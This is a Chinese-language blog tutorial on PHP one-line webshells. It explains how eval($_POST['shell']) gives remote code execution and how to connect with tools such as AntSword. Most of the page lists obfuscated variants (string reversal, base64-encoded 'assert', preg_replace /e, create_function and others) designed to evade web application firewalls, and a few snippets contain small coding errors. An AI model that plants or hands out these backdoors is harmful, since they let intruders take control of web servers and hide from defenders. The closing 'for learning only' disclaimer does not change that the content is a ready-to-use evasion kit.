网站首页 > 资源文章 正文
一句话马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
一句话马工作原理
<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
实例:
<?php @eval($_POST['shell']);?>
将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();
也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell
然后就可以看到目标站点目录下的文件了
一句话的多种变形
一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话马,要想绕过waf就需要对马进行一些变形。
php变量
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
php变量简单变形1
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['shell']);
?>
使用字符串拼接、大小写混淆、字符串逆序组合而成
php变量简单变形2
<?php
$a="AssERT";
$b=strtolower($a);
@$b($_POST['shell']);
?>
使用大小写混淆配合字符串转小写函数strtolower组合而成
PHP可变变量
<?php
$bb="assert";
$a='bb';
$aa($_POST['shell']);
?>
以上代码可表示为$aa = $($aa) = $ (‘bb’) = $bb = "assert"
自定义函数
<?php
function fun($a){
@eval($a);
}
@fun($_POST['shell']);
?>
使用function自定义函数,然后函数来调用eval函数
create_function函数
<?php
$fun = create_function('',$_POST['shell']);
$fun();
?>
创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数
call_user_func()函数
<?php
@call_user_func(assert,$_POST['shell']);
?>
call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
base64_decode 函数
<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['shell']);
?>
YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数
preg_replace函数
<?php
function fun(){
return $_POST['shell'];
}
@preg_replace("/test/e", fun(), "test123");
?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
pares_str函数
<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>
执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。
str_replace函数
<?php
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>
此函数用于将第三个参数中的第一个参数替换为第二个参数
以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。
一句话马的变换方式还有很多种。
只供交流学习,切勿非法用途。莫伸手伸手必被捉!
猜你喜欢
- 2024-11-09 【开源资讯】TurnKey Linux 16.0 稳定版发布
- 2024-11-09 John Carmack:除非被胁迫,我不会用Mac
- 2024-11-09 黑客安全:比敌人更了解敌人「取证入门 Web篇」
- 2024-11-09 云服务器教程,Linux服务器SSH常用命令教程!
- 2024-11-09 网页测试|Web应用渗透测试流程(web渗透测试书籍推荐)
- 2024-11-09 组一个NVME固态硬盘为核心的NAS-威联通TS264C开箱与使用
- 2024-11-09 宁,这是我写给你的情书……(宁教云电脑版官方下载)
- 2024-11-09 MAMP Pro for Mac(PHP/MySQL开发环境)
- 2024-11-09 世纪大学学生专属|关于学习和成绩查询,你要知道这些
- 2024-11-09 以Twig模板为例浅学一手SSTI(tw模型官网)
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- 电脑显示器花屏 (79)
- 403 forbidden (65)
- linux怎么查看系统版本 (54)
- 补码运算 (63)
- 缓存服务器 (61)
- 定时重启 (59)
- plsql developer (73)
- 对话框打开时命令无法执行 (61)
- excel数据透视表 (72)
- oracle认证 (56)
- 网页不能复制 (84)
- photoshop外挂滤镜 (58)
- 网页无法复制粘贴 (55)
- vmware workstation 7 1 3 (78)
- jdk 64位下载 (65)
- phpstudy 2013 (66)
- 卡通形象生成 (55)
- psd模板免费下载 (67)
- shift (58)
- localhost打不开 (58)
- 检测代理服务器设置 (55)
- frequency (66)
- indesign教程 (55)
- 运行命令大全 (61)
- ping exe (64)
本文暂时没有评论,来添加一个吧(●'◡'●)